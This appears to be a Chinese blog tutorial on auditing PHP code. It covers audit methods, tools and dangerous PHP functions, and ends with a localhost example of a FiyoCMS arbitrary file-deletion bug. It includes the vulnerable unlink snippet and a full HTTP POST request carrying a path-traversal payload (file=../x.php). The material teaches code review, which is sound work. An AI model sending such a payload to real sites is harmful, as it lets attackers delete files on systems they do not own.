代码审计

准备:
1.获取源码
2.安装网站
3.浏览网站结构

审计重点

入口文件
index.php、admin.php文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构、运行流程、包含那些配置文件,包含哪些过滤文件以及包含那些安全过滤文件,了解程序的业务逻辑

配置文件
一般类似config.php等文件,保存一些数据库相关信息、程序的一些信息。先看看数据库编码,如果是gbk则可能存在宽字节注入。如果变量的值用双引号、则可能存在双引号解析代码执行的问题。

过滤功能
通过详读 公共函数文件 和 安全过滤文件 等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤了,如何过滤的,能否绕过过滤的数据。过滤的方式是替换还是正则?有没有GPC?有没有使用addslasher()处理?

审计方法

1.通读全文法
通读全文发作为一种最麻烦的方法也是最全面的审计方法。特别是针对大型程序,源码成千上万行,这要读到什么时候。但是该方法也是一种必要的方法。了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。

2.敏感函数参数回溯法
根据敏感函数,逆向追踪参数传递的过程。
这个方法是最高效,最常用的方法。大多数漏洞的产生是因为函数的使用不当导致的。我们只要找到这样的一些使用不当的函数,就可以快速挖掘想要的漏洞。
这方面,Seay法师大大有一款神器Seay源代码审计系统,主要是利用正则匹配一些高危函数、关键函数以及敏感关键字。 然后,我们就可以分析判断敏感函数的上下文,追踪参数源头。

3.定向功能分析法
该方法主要是根据程序的业务逻辑来说审计的。
首先是用浏览器逐个访问浏览,看看这套程序有那些功能。根据相关功能,大概推测可能存在那些漏洞。

常见的代码审计工具

Fortify SCA

Checkmarx CxSuite

360代码卫士

PHP代码审计工具——Rips

参考:https://www.jianshu.com/p/cd1cb66e4d7d

seay代码审计(常用)

参考:https://www.oschina.net/p/seay

SonarQube

参考:https://www.cnblogs.com/qiumingcheng/p/7253917.html

Cobra

参考:https://zhuanlan.zhihu.com/p/32363880

kiwi

参考:https://github.com/alpha1e0/kiwi

高危函数

一.PHP代码执行函数

mixed eval(string $code)

把字符串当作代码执行

bool assert(mixed $assertion)

断言,调试函数,把字符串当作代码执行

mixed preg_replace
( mixed$ pattern, mixed $ replacement, mixed $ subject)

/e修正符使preg_replace()将replacement参数当作PHP代码执行

string creat_function(string $ args, string $ code)

创建一个匿名函数,并返回独一无二的函数名

mixed call_user_func(callable $ callback)

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数

mixed call_user_func_array
(callable $ callback, array $ param_arr)

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的参数传入

二.包含函数

require
include
require_once
include_once

三.命令执行函数

exec()

执行一个外部程序

passthru()

执行外部程序并且显示原始输出

pro_open()

执行一个命令,并且打开用来输入/输出的文件指针

shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串的方式返回

system()

执行外部程序,并且显示输出

popen()

通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行

四.文件操作函数

copy

拷贝文件

file_get_contents

将整个文件读入一个字符串

file_put_contents

将一个字符串写入文件

file

把整个文件读入一个数组

fopen

打开文件或者URL

move_uploaded_file

将上传的文件移动到新位置

readfile

输出文件

rename

重命名一个文件或目录

rmdir

删除目录

unlink & delete

删除文件

代码审计实例

下载fiyocms

其他选项菜单->phpstudy设置->允许目录列表

seay扫描一下

发现一些漏洞

image-20201202105109436

/dapur/apps/app_config/controller/backuper.php

文件删除漏洞

15-30行

if(isset($_POST['type'])) {
            
      if($_POST['type'] == 'database') {
           
            @unlink("../../../../.backup/$_POST[file]");     
            if(!file_exists('../../../../.backup')
                  mkdir('../../../../.backup');             

通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作

POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

type=database&file=../x.php
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值